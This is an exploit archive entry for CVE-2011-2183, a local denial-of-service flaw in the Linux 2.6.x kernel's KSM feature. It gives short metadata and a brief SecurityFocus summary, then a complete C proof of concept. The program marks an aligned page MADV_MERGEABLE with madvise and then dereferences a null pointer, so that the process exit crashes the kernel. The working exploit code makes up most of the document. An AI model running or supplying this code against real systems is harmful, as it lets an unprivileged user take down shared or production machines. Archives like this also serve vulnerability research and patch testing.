Linux Kernel 2.6.x - KSM Local Denial of Service

Author: Andrea Righi
type: dos
platform: linux
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date_added: 2011-06-02 
date_updated: 2016-09-06 
verified: 1 
codes: CVE-2011-2183;OSVDB-74680 
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/*
source: https://www.securityfocus.com/bid/48101/info

The Linux kernel is prone to a local denial-of-service vulnerability.

Attackers can exploit this issue to trigger a kernel crash, which may result in a denial-of-service condition.
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#define BUFSIZE getpagesize()

int main(int argc, char **argv)
{
	void *ptr;
	if (posix_memalign(&ptr, getpagesize(), BUFSIZE) < 0) {
		perror("posix_memalign");
		exit(1);
	}
	if (madvise(ptr, BUFSIZE, MADV_MERGEABLE) < 0) {
		perror("madvise");
		exit(1);
	}
	*(char *)NULL = 0;
	return 0;
}